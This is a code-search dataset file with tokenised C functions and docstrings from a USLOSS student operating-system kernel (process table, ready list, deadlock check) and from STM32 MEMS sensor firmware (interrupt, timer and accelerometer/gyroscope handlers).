{ "returns": [], "raises": [], "params": [ { "identifier": "dummy", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
checkDeadlock
void
static void checkDeadlock() { // itereate to see if all other processes either quit or empty int i; //Because sentinal will always be Ready or Running start count at 1 int numOfProcesses = 1; //Tripped if sentinal called and not all process table slots are quitted or empty int deadLockFlag = 0; //Go through table. If not quitted or empty or sentinal, add one to counter and set flag for (i = 0; i < MAXPROC; i++) { if (ProcTable[i].status != EMPTY && ProcTable[i].status != QUITTED && ProcTable[i].priority != 6) { numOfProcesses++; deadLockFlag = 1; } } //If we did have deadlock, print message with number of processes stuck if(deadLockFlag == 1) { USLOSS_Console("checkDeadlock(): numProc = %d. Only Sentinel should be left. Halting...\n", numOfProcesses); USLOSS_Halt(1); } //Else successful completion USLOSS_Console("All processes completed.\n"); USLOSS_Halt(0); }
/* check to determine if deadlock has occurred... */
check to determine if deadlock has occurred
[ "check", "to", "determine", "if", "deadlock", "has", "occurred" ]
static void checkDeadlock() { int i; int numOfProcesses = 1; int deadLockFlag = 0; for (i = 0; i < MAXPROC; i++) { if (ProcTable[i].status != EMPTY && ProcTable[i].status != QUITTED && ProcTable[i].priority != 6) { numOfProcesses++; deadLockFlag = 1; } } if(deadLockFlag == 1) { USLOSS_Console("checkDeadlock(): numProc = %d. Only Sentinel should be left. Halting...\n", numOfProcesses); USLOSS_Halt(1); } USLOSS_Console("All processes completed.\n"); USLOSS_Halt(0); }
[ "static", "void", "checkDeadlock", "(", ")", "{", "int", "i", ";", "int", "numOfProcesses", "=", "1", ";", "int", "deadLockFlag", "=", "0", ";", "for", "(", "i", "=", "0", ";", "i", "<", "MAXPROC", ";", "i", "++", ")", "{", "if", "(", "ProcTable", "[", "i", "]", ".", "status", "!=", "EMPTY", "&&", "ProcTable", "[", "i", "]", ".", "status", "!=", "QUITTED", "&&", "ProcTable", "[", "i", "]", ".", "priority", "!=", "6", ")", "{", "numOfProcesses", "++", ";", "deadLockFlag", "=", "1", ";", "}", "}", "if", "(", "deadLockFlag", "==", "1", ")", "{", "USLOSS_Console", "(", "\"", "\\n", "\"", ",", "numOfProcesses", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "USLOSS_Halt", "(", "0", ")", ";", "}" ]
check to determine if deadlock has occurred...
[ "check", "to", "determine", "if", "deadlock", "has", "occurred", "..." ]
[ "// itereate to see if all other processes either quit or empty", "//Because sentinal will always be Ready or Running start count at 1", "//Tripped if sentinal called and not all process table slots are quitted or empty", "//Go through table. If not quitted or empty or sentinal, add one to counter and set flag", "//If we did have deadlock, print message with number of processes stuck", "//Else successful completion" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
usableSlot
int
int usableSlot(int slot) { if (ProcTable[slot % MAXPROC].status == EMPTY) return 1; return 0; }
/* ------------------------- usableSlot ----------------------------------- Return: 1 if usable, 0 if not usable ------------------------------------------------------------------------ */
usableSlot Return: 1 if usable, 0 if not usable
[ "usableSlot", "Return", ":", "1", "if", "usable", "0", "if", "not", "usable" ]
int usableSlot(int slot) { if (ProcTable[slot % MAXPROC].status == EMPTY) return 1; return 0; }
[ "int", "usableSlot", "(", "int", "slot", ")", "{", "if", "(", "ProcTable", "[", "slot", "%", "MAXPROC", "]", ".", "status", "==", "EMPTY", ")", "return", "1", ";", "return", "0", ";", "}" ]
usableSlot Return: 1 if usable, 0 if not usable
[ "usableSlot", "Return", ":", "1", "if", "usable", "0", "if", "not", "usable" ]
[]
[ { "param": "slot", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "slot", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
insertRL
void
void insertRL(procPtr toBeAdded ) { procPtr newReady = toBeAdded; // if RL is empty if (ReadyList == NULL) { ReadyList = newReady; newReady->nextProcPtr = NULL; } //Needs to inserted at front of list else if(newReady->priority < ReadyList->priority) { newReady->nextProcPtr = ReadyList; ReadyList = newReady; } // RL is not empty and not inserting at front else { procPtr tempPtr = ReadyList; procPtr tempTrail = ReadyList; //With sentinal we know that we will always find a slot of lesser priority while(1) { if(newReady->priority < tempPtr->priority) { newReady->nextProcPtr = tempPtr; tempTrail->nextProcPtr = newReady; break; } tempTrail = tempPtr; tempPtr = tempPtr->nextProcPtr; } } }
//Function that adds a process to the readylist at the end of its priority
Function that adds a process to the readylist at the end of its priority
[ "Function", "that", "adds", "a", "process", "to", "the", "readylist", "at", "the", "end", "of", "its", "priority" ]
void insertRL(procPtr toBeAdded ) { procPtr newReady = toBeAdded; if (ReadyList == NULL) { ReadyList = newReady; newReady->nextProcPtr = NULL; } else if(newReady->priority < ReadyList->priority) { newReady->nextProcPtr = ReadyList; ReadyList = newReady; } else { procPtr tempPtr = ReadyList; procPtr tempTrail = ReadyList; while(1) { if(newReady->priority < tempPtr->priority) { newReady->nextProcPtr = tempPtr; tempTrail->nextProcPtr = newReady; break; } tempTrail = tempPtr; tempPtr = tempPtr->nextProcPtr; } } }
[ "void", "insertRL", "(", "procPtr", "toBeAdded", ")", "{", "procPtr", "newReady", "=", "toBeAdded", ";", "if", "(", "ReadyList", "==", "NULL", ")", "{", "ReadyList", "=", "newReady", ";", "newReady", "->", "nextProcPtr", "=", "NULL", ";", "}", "else", "if", "(", "newReady", "->", "priority", "<", "ReadyList", "->", "priority", ")", "{", "newReady", "->", "nextProcPtr", "=", "ReadyList", ";", "ReadyList", "=", "newReady", ";", "}", "else", "{", "procPtr", "tempPtr", "=", "ReadyList", ";", "procPtr", "tempTrail", "=", "ReadyList", ";", "while", "(", "1", ")", "{", "if", "(", "newReady", "->", "priority", "<", "tempPtr", "->", "priority", ")", "{", "newReady", "->", "nextProcPtr", "=", "tempPtr", ";", "tempTrail", "->", "nextProcPtr", "=", "newReady", ";", "break", ";", "}", "tempTrail", "=", "tempPtr", ";", "tempPtr", "=", "tempPtr", "->", "nextProcPtr", ";", "}", "}", "}" ]
Function that adds a process to the readylist at the end of its priority
[ "Function", "that", "adds", "a", "process", "to", "the", "readylist", "at", "the", "end", "of", "its", "priority" ]
[ "// if RL is empty", "//Needs to inserted at front of list", "// RL is not empty and not inserting at front", "//With sentinal we know that we will always find a slot of lesser priority" ]
[ { "param": "toBeAdded", "type": "procPtr" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "toBeAdded", "type": "procPtr", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
removeRL
void
void removeRL(procPtr slot) { procPtr toRemove = slot; //Not possible for ReadyList to be Null. //Check if process to remove is at front of readyList if(toRemove->pid == ReadyList->pid) { ReadyList = ReadyList->nextProcPtr; } //else find it and remove it else { procPtr tempPtr = ReadyList; procPtr tempTrail = ReadyList; //Process should always be in readyList if we try to remove it, so don't need while condition. while(1) { if(toRemove->pid == tempPtr->pid) { tempTrail->nextProcPtr = tempPtr->nextProcPtr; break; } tempTrail = tempPtr; tempPtr = tempPtr->nextProcPtr; } } }
//Function to remove process from ReadyList
Function to remove process from ReadyList
[ "Function", "to", "remove", "process", "from", "ReadyList" ]
void removeRL(procPtr slot) { procPtr toRemove = slot; if(toRemove->pid == ReadyList->pid) { ReadyList = ReadyList->nextProcPtr; } else { procPtr tempPtr = ReadyList; procPtr tempTrail = ReadyList; while(1) { if(toRemove->pid == tempPtr->pid) { tempTrail->nextProcPtr = tempPtr->nextProcPtr; break; } tempTrail = tempPtr; tempPtr = tempPtr->nextProcPtr; } } }
[ "void", "removeRL", "(", "procPtr", "slot", ")", "{", "procPtr", "toRemove", "=", "slot", ";", "if", "(", "toRemove", "->", "pid", "==", "ReadyList", "->", "pid", ")", "{", "ReadyList", "=", "ReadyList", "->", "nextProcPtr", ";", "}", "else", "{", "procPtr", "tempPtr", "=", "ReadyList", ";", "procPtr", "tempTrail", "=", "ReadyList", ";", "while", "(", "1", ")", "{", "if", "(", "toRemove", "->", "pid", "==", "tempPtr", "->", "pid", ")", "{", "tempTrail", "->", "nextProcPtr", "=", "tempPtr", "->", "nextProcPtr", ";", "break", ";", "}", "tempTrail", "=", "tempPtr", ";", "tempPtr", "=", "tempPtr", "->", "nextProcPtr", ";", "}", "}", "}" ]
Function to remove process from ReadyList
[ "Function", "to", "remove", "process", "from", "ReadyList" ]
[ "//Not possible for ReadyList to be Null.", "//Check if process to remove is at front of readyList", "//else find it and remove it", "//Process should always be in readyList if we try to remove it, so don't need while condition." ]
[ { "param": "slot", "type": "procPtr" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "slot", "type": "procPtr", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
removeChild
void
void removeChild(procPtr child) { //If first element on child list is one to remove if(child->parentPtr->childProcPtr->pid == child->pid) { child->parentPtr->childProcPtr = child->nextSiblingPtr; } else { //Search through list of children and remove particular child procPtr tempPtr = child->parentPtr->childProcPtr; procPtr tempTrail = child->parentPtr->childProcPtr; while(tempPtr->pid != child->pid) { tempTrail = tempPtr; tempPtr = tempPtr->nextSiblingPtr; } tempTrail->nextSiblingPtr = tempPtr->nextSiblingPtr; } }
//Function removes a child from a parents children list
Function removes a child from a parents children list
[ "Function", "removes", "a", "child", "from", "a", "parents", "children", "list" ]
void removeChild(procPtr child) { if(child->parentPtr->childProcPtr->pid == child->pid) { child->parentPtr->childProcPtr = child->nextSiblingPtr; } else { procPtr tempPtr = child->parentPtr->childProcPtr; procPtr tempTrail = child->parentPtr->childProcPtr; while(tempPtr->pid != child->pid) { tempTrail = tempPtr; tempPtr = tempPtr->nextSiblingPtr; } tempTrail->nextSiblingPtr = tempPtr->nextSiblingPtr; } }
[ "void", "removeChild", "(", "procPtr", "child", ")", "{", "if", "(", "child", "->", "parentPtr", "->", "childProcPtr", "->", "pid", "==", "child", "->", "pid", ")", "{", "child", "->", "parentPtr", "->", "childProcPtr", "=", "child", "->", "nextSiblingPtr", ";", "}", "else", "{", "procPtr", "tempPtr", "=", "child", "->", "parentPtr", "->", "childProcPtr", ";", "procPtr", "tempTrail", "=", "child", "->", "parentPtr", "->", "childProcPtr", ";", "while", "(", "tempPtr", "->", "pid", "!=", "child", "->", "pid", ")", "{", "tempTrail", "=", "tempPtr", ";", "tempPtr", "=", "tempPtr", "->", "nextSiblingPtr", ";", "}", "tempTrail", "->", "nextSiblingPtr", "=", "tempPtr", "->", "nextSiblingPtr", ";", "}", "}" ]
Function removes a child from a parents children list
[ "Function", "removes", "a", "child", "from", "a", "parents", "children", "list" ]
[ "//If first element on child list is one to remove\t", "//Search through list of children and remove particular child" ]
[ { "param": "child", "type": "procPtr" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "child", "type": "procPtr", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
unblockProc
int
int unblockProc(int pid) { procPtr ProcToUnBlock = &ProcTable[pid % MAXPROC]; //if the indicated process was not blocked, does not exist, is the current process, or is blocked on a status less than or equal to 10. if(ProcToUnBlock->status <= 10 || ProcToUnBlock->pid == Current->pid) return -2; ProcToUnblock->status = READY; insertRL(ProcToUnBlock); dispatcher(); //If process is zapped return -1, else return 0 if(isZapped) return -1; else return 0; }
//This operation unblocks process pid that had previously been blocked by calling blockMe. The status of that process is changed to READY, and it is put on the Ready List. //The dispatcher will be called as a side-effect of this function.
This operation unblocks process pid that had previously been blocked by calling blockMe. The status of that process is changed to READY, and it is put on the Ready List. The dispatcher will be called as a side-effect of this function.
[ "This", "operation", "unblocks", "process", "pid", "that", "had", "previously", "been", "blocked", "by", "calling", "blockMe", ".", "The", "status", "of", "that", "process", "is", "changed", "to", "READY", "and", "it", "is", "put", "on", "the", "Ready", "List", ".", "The", "dispatcher", "will", "be", "called", "as", "a", "side", "-", "effect", "of", "this", "function", "." ]
int unblockProc(int pid) { procPtr ProcToUnBlock = &ProcTable[pid % MAXPROC]; if(ProcToUnBlock->status <= 10 || ProcToUnBlock->pid == Current->pid) return -2; ProcToUnblock->status = READY; insertRL(ProcToUnBlock); dispatcher(); if(isZapped) return -1; else return 0; }
[ "int", "unblockProc", "(", "int", "pid", ")", "{", "procPtr", "ProcToUnBlock", "=", "&", "ProcTable", "[", "pid", "%", "MAXPROC", "]", ";", "if", "(", "ProcToUnBlock", "->", "status", "<=", "10", "||", "ProcToUnBlock", "->", "pid", "==", "Current", "->", "pid", ")", "return", "-2", ";", "ProcToUnblock", "->", "status", "=", "READY", ";", "insertRL", "(", "ProcToUnBlock", ")", ";", "dispatcher", "(", ")", ";", "if", "(", "isZapped", ")", "return", "-1", ";", "else", "return", "0", ";", "}" ]
This operation unblocks process pid that had previously been blocked by calling blockMe.
[ "This", "operation", "unblocks", "process", "pid", "that", "had", "previously", "been", "blocked", "by", "calling", "blockMe", "." ]
[ "//if the indicated process was not blocked, does not exist, is the current process, or is blocked on a status less than or equal to 10.", "//If process is zapped return -1, else return 0" ]
[ { "param": "pid", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pid", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
timeSlice
void
void timeSlice(void) { removeRL(Current); insertRL(Current); //To let dispatcher know to reset process run time isTimeSlice = 1; dispatcher(); }
//If timeSlice needed, remove Current from readyList, and reinsert at back of priority. //Set timeSlice flag to true and call dispatcher
If timeSlice needed, remove Current from readyList, and reinsert at back of priority. Set timeSlice flag to true and call dispatcher
[ "If", "timeSlice", "needed", "remove", "Current", "from", "readyList", "and", "reinsert", "at", "back", "of", "priority", ".", "Set", "timeSlice", "flag", "to", "true", "and", "call", "dispatcher" ]
void timeSlice(void) { removeRL(Current); insertRL(Current); isTimeSlice = 1; dispatcher(); }
[ "void", "timeSlice", "(", "void", ")", "{", "removeRL", "(", "Current", ")", ";", "insertRL", "(", "Current", ")", ";", "isTimeSlice", "=", "1", ";", "dispatcher", "(", ")", ";", "}" ]
If timeSlice needed, remove Current from readyList, and reinsert at back of priority.
[ "If", "timeSlice", "needed", "remove", "Current", "from", "readyList", "and", "reinsert", "at", "back", "of", "priority", "." ]
[ "//To let dispatcher know to reset process run time" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
de46db6b172dbdde3a0f047aa1e523611e5965ea
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/StandingSittingDesk/Src/stm32f4xx_it.c
[ "MIT" ]
C
EXTI15_10_IRQHandler
void
void EXTI15_10_IRQHandler(void) { if(__HAL_GPIO_EXTI_GET_IT(KEY_BUTTON_PIN) != RESET) { /* Button locked when active GUI datastream */ if (DataLoggerActive) { __HAL_GPIO_EXTI_CLEAR_IT(KEY_BUTTON_PIN); return; } if (FlashState == FLASH_FULL) { HAL_Delay(3500); if (BSP_PB_GetState(BUTTON_KEY) == GPIO_PIN_RESET) { flash_erase_request = 1; } __HAL_GPIO_EXTI_CLEAR_IT(KEY_BUTTON_PIN); return; } HAL_GPIO_EXTI_IRQHandler(KEY_BUTTON_PIN); } }
/** * @brief This function handles External line 10-15 interrupt request. * @param None * @retval None */
@brief This function handles External line 10-15 interrupt request. @param None @retval None
[ "@brief", "This", "function", "handles", "External", "line", "10", "-", "15", "interrupt", "request", ".", "@param", "None", "@retval", "None" ]
void EXTI15_10_IRQHandler(void) { if(__HAL_GPIO_EXTI_GET_IT(KEY_BUTTON_PIN) != RESET) { if (DataLoggerActive) { __HAL_GPIO_EXTI_CLEAR_IT(KEY_BUTTON_PIN); return; } if (FlashState == FLASH_FULL) { HAL_Delay(3500); if (BSP_PB_GetState(BUTTON_KEY) == GPIO_PIN_RESET) { flash_erase_request = 1; } __HAL_GPIO_EXTI_CLEAR_IT(KEY_BUTTON_PIN); return; } HAL_GPIO_EXTI_IRQHandler(KEY_BUTTON_PIN); } }
[ "void", "EXTI15_10_IRQHandler", "(", "void", ")", "{", "if", "(", "__HAL_GPIO_EXTI_GET_IT", "(", "KEY_BUTTON_PIN", ")", "!=", "RESET", ")", "{", "if", "(", "DataLoggerActive", ")", "{", "__HAL_GPIO_EXTI_CLEAR_IT", "(", "KEY_BUTTON_PIN", ")", ";", "return", ";", "}", "if", "(", "FlashState", "==", "FLASH_FULL", ")", "{", "HAL_Delay", "(", "3500", ")", ";", "if", "(", "BSP_PB_GetState", "(", "BUTTON_KEY", ")", "==", "GPIO_PIN_RESET", ")", "{", "flash_erase_request", "=", "1", ";", "}", "__HAL_GPIO_EXTI_CLEAR_IT", "(", "KEY_BUTTON_PIN", ")", ";", "return", ";", "}", "HAL_GPIO_EXTI_IRQHandler", "(", "KEY_BUTTON_PIN", ")", ";", "}", "}" ]
@brief This function handles External line 10-15 interrupt request.
[ "@brief", "This", "function", "handles", "External", "line", "10", "-", "15", "interrupt", "request", "." ]
[ "/* Button locked when active GUI datastream */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
de84e7f6a24ddb911b237b08aad2d92f8109416b
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognitionWrist/Src/MotionAW_Manager.c
[ "MIT" ]
C
MotionAW_manager_run
void
void MotionAW_manager_run(MAW_input_t *data_in, MAW_activity_t *data_out) { MAW_output_t data; MotionAW_Update(data_in, &data); *data_out = data.current_activity; }
/** * @brief Run activity recognition algorithm. This function collects and scale data from accelerometer and calls the Activity Recognition Algo * @param data_in Structure containing input data * @param data_out Structure containing output data * @retval None */
@brief Run activity recognition algorithm. This function collects and scale data from accelerometer and calls the Activity Recognition Algo @param data_in Structure containing input data @param data_out Structure containing output data @retval None
[ "@brief", "Run", "activity", "recognition", "algorithm", ".", "This", "function", "collects", "and", "scale", "data", "from", "accelerometer", "and", "calls", "the", "Activity", "Recognition", "Algo", "@param", "data_in", "Structure", "containing", "input", "data", "@param", "data_out", "Structure", "containing", "output", "data", "@retval", "None" ]
void MotionAW_manager_run(MAW_input_t *data_in, MAW_activity_t *data_out) { MAW_output_t data; MotionAW_Update(data_in, &data); *data_out = data.current_activity; }
[ "void", "MotionAW_manager_run", "(", "MAW_input_t", "*", "data_in", ",", "MAW_activity_t", "*", "data_out", ")", "{", "MAW_output_t", "data", ";", "MotionAW_Update", "(", "data_in", ",", "&", "data", ")", ";", "*", "data_out", "=", "data", ".", "current_activity", ";", "}" ]
@brief Run activity recognition algorithm.
[ "@brief", "Run", "activity", "recognition", "algorithm", "." ]
[]
[ { "param": "data_in", "type": "MAW_input_t" }, { "param": "data_out", "type": "MAW_activity_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "data_in", "type": "MAW_input_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "data_out", "type": "MAW_activity_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
MX_TIM_AR_Init
void
static void MX_TIM_AR_Init(void) { #define PERIOD_16HZ ((uint8_t)119) #if (defined (USE_STM32F4XX_NUCLEO)) /* 84 MHZ CPU clock */ #define PRESCALER_16HZ ((uint16_t)41999) #elif (defined (USE_STM32L4XX_NUCLEO)) /* 80 MHZ CPU clock */ #define PRESCALER_16HZ ((uint16_t)39999) #else #error Not supported platform #endif TIM_ClockConfigTypeDef sClockSourceConfig; TIM_MasterConfigTypeDef sMasterConfig; AR_TimHandle.Instance = TIM_AR; AR_TimHandle.Init.Prescaler = PRESCALER_16HZ; AR_TimHandle.Init.CounterMode = TIM_COUNTERMODE_UP; AR_TimHandle.Init.Period = PERIOD_16HZ; AR_TimHandle.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1; HAL_TIM_Base_Init(&AR_TimHandle); sClockSourceConfig.ClockSource = TIM_CLOCKSOURCE_INTERNAL; HAL_TIM_ConfigClockSource(&AR_TimHandle, &sClockSourceConfig); sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET; sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE; HAL_TIMEx_MasterConfigSynchronization(&AR_TimHandle, &sMasterConfig); }
/** * @brief TIM_AR init function. * @param None * @retval None * @details This function intialize the Timer used to syncronize the PE algorithm. */
@brief TIM_AR init function. @param None @retval None @details This function intialize the Timer used to syncronize the PE algorithm.
[ "@brief", "TIM_AR", "init", "function", ".", "@param", "None", "@retval", "None", "@details", "This", "function", "intialize", "the", "Timer", "used", "to", "syncronize", "the", "PE", "algorithm", "." ]
static void MX_TIM_AR_Init(void) { #define PERIOD_16HZ ((uint8_t)119) #if (defined (USE_STM32F4XX_NUCLEO)) #define PRESCALER_16HZ ((uint16_t)41999) #elif (defined (USE_STM32L4XX_NUCLEO)) #define PRESCALER_16HZ ((uint16_t)39999) #else #error Not supported platform #endif TIM_ClockConfigTypeDef sClockSourceConfig; TIM_MasterConfigTypeDef sMasterConfig; AR_TimHandle.Instance = TIM_AR; AR_TimHandle.Init.Prescaler = PRESCALER_16HZ; AR_TimHandle.Init.CounterMode = TIM_COUNTERMODE_UP; AR_TimHandle.Init.Period = PERIOD_16HZ; AR_TimHandle.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1; HAL_TIM_Base_Init(&AR_TimHandle); sClockSourceConfig.ClockSource = TIM_CLOCKSOURCE_INTERNAL; HAL_TIM_ConfigClockSource(&AR_TimHandle, &sClockSourceConfig); sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET; sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE; HAL_TIMEx_MasterConfigSynchronization(&AR_TimHandle, &sMasterConfig); }
[ "static", "void", "MX_TIM_AR_Init", "(", "void", ")", "{", "#define", "PERIOD_16HZ", " ((uint8_t)119)\r", "\n", "#if", "(", "defined", "(", "USE_STM32F4XX_NUCLEO", ")", ")", "\n", "#define", "PRESCALER_16HZ", " ((uint16_t)41999)\r", "\n", "#elif", "(", "defined", "(", "USE_STM32L4XX_NUCLEO", ")", ")", "\n", "#define", "PRESCALER_16HZ", " ((uint16_t)39999)\r", "\n", "#else", "#error", " Not supported platform\r", "\n", "#endif", "TIM_ClockConfigTypeDef", "sClockSourceConfig", ";", "TIM_MasterConfigTypeDef", "sMasterConfig", ";", "AR_TimHandle", ".", "Instance", "=", "TIM_AR", ";", "AR_TimHandle", ".", "Init", ".", "Prescaler", "=", "PRESCALER_16HZ", ";", "AR_TimHandle", ".", "Init", ".", "CounterMode", "=", "TIM_COUNTERMODE_UP", ";", "AR_TimHandle", ".", "Init", ".", "Period", "=", "PERIOD_16HZ", ";", "AR_TimHandle", ".", "Init", ".", "ClockDivision", "=", "TIM_CLOCKDIVISION_DIV1", ";", "HAL_TIM_Base_Init", "(", "&", "AR_TimHandle", ")", ";", "sClockSourceConfig", ".", "ClockSource", "=", "TIM_CLOCKSOURCE_INTERNAL", ";", "HAL_TIM_ConfigClockSource", "(", "&", "AR_TimHandle", ",", "&", "sClockSourceConfig", ")", ";", "sMasterConfig", ".", "MasterOutputTrigger", "=", "TIM_TRGO_RESET", ";", "sMasterConfig", ".", "MasterSlaveMode", "=", "TIM_MASTERSLAVEMODE_DISABLE", ";", "HAL_TIMEx_MasterConfigSynchronization", "(", "&", "AR_TimHandle", ",", "&", "sMasterConfig", ")", ";", "}" ]
@brief TIM_AR init function.
[ "@brief", "TIM_AR", "init", "function", "." ]
[ "/* 84 MHZ CPU clock */", "/* 80 MHZ CPU clock */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
Accelero_Sensor_Handler
void
static void Accelero_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; if (Sensors_Enabled & ACCELEROMETER_SENSOR) { if (BSP_ACCELERO_IsInitialized(ACCELERO_handle, &status) == COMPONENT_OK && status == 1) { BSP_ACCELERO_Get_Axes(ACCELERO_handle, &ACC_Value); Serialize_s32(&Msg->Data[19], (int32_t)ACC_Value.AXIS_X, 4); Serialize_s32(&Msg->Data[23], (int32_t)ACC_Value.AXIS_Y, 4); Serialize_s32(&Msg->Data[27], (int32_t)ACC_Value.AXIS_Z, 4); } } }
/** * @brief Handles the ACC axes data getting/sending * @param Msg - ACC part of the stream * @retval None */
@brief Handles the ACC axes data getting/sending @param Msg - ACC part of the stream @retval None
[ "@brief", "Handles", "the", "ACC", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "ACC", "part", "of", "the", "stream", "@retval", "None" ]
static void Accelero_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; if (Sensors_Enabled & ACCELEROMETER_SENSOR) { if (BSP_ACCELERO_IsInitialized(ACCELERO_handle, &status) == COMPONENT_OK && status == 1) { BSP_ACCELERO_Get_Axes(ACCELERO_handle, &ACC_Value); Serialize_s32(&Msg->Data[19], (int32_t)ACC_Value.AXIS_X, 4); Serialize_s32(&Msg->Data[23], (int32_t)ACC_Value.AXIS_Y, 4); Serialize_s32(&Msg->Data[27], (int32_t)ACC_Value.AXIS_Z, 4); } } }
[ "static", "void", "Accelero_Sensor_Handler", "(", "TMsg", "*", "Msg", ")", "{", "uint8_t", "status", "=", "0", ";", "if", "(", "Sensors_Enabled", "&", "ACCELEROMETER_SENSOR", ")", "{", "if", "(", "BSP_ACCELERO_IsInitialized", "(", "ACCELERO_handle", ",", "&", "status", ")", "==", "COMPONENT_OK", "&&", "status", "==", "1", ")", "{", "BSP_ACCELERO_Get_Axes", "(", "ACCELERO_handle", ",", "&", "ACC_Value", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "19", "]", ",", "(", "int32_t", ")", "ACC_Value", ".", "AXIS_X", ",", "4", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "23", "]", ",", "(", "int32_t", ")", "ACC_Value", ".", "AXIS_Y", ",", "4", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "27", "]", ",", "(", "int32_t", ")", "ACC_Value", ".", "AXIS_Z", ",", "4", ")", ";", "}", "}", "}" ]
@brief Handles the ACC axes data getting/sending @param Msg - ACC part of the stream @retval None
[ "@brief", "Handles", "the", "ACC", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "ACC", "part", "of", "the", "stream", "@retval", "None" ]
[]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
Gyro_Sensor_Handler
void
static void Gyro_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; SensorAxes_t GYR_Value; if (Sensors_Enabled & GYROSCOPE_SENSOR) { if (BSP_GYRO_IsInitialized(GYRO_handle, &status) == COMPONENT_OK && status == 1) { BSP_GYRO_Get_Axes(GYRO_handle, &GYR_Value); Serialize_s32(&Msg->Data[31], GYR_Value.AXIS_X, 4); Serialize_s32(&Msg->Data[35], GYR_Value.AXIS_Y, 4); Serialize_s32(&Msg->Data[39], GYR_Value.AXIS_Z, 4); } } }
/** * @brief Handles the GYR axes data getting/sending * @param Msg - GYR part of the stream * @retval None */
@brief Handles the GYR axes data getting/sending @param Msg - GYR part of the stream @retval None
[ "@brief", "Handles", "the", "GYR", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "GYR", "part", "of", "the", "stream", "@retval", "None" ]
static void Gyro_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; SensorAxes_t GYR_Value; if (Sensors_Enabled & GYROSCOPE_SENSOR) { if (BSP_GYRO_IsInitialized(GYRO_handle, &status) == COMPONENT_OK && status == 1) { BSP_GYRO_Get_Axes(GYRO_handle, &GYR_Value); Serialize_s32(&Msg->Data[31], GYR_Value.AXIS_X, 4); Serialize_s32(&Msg->Data[35], GYR_Value.AXIS_Y, 4); Serialize_s32(&Msg->Data[39], GYR_Value.AXIS_Z, 4); } } }
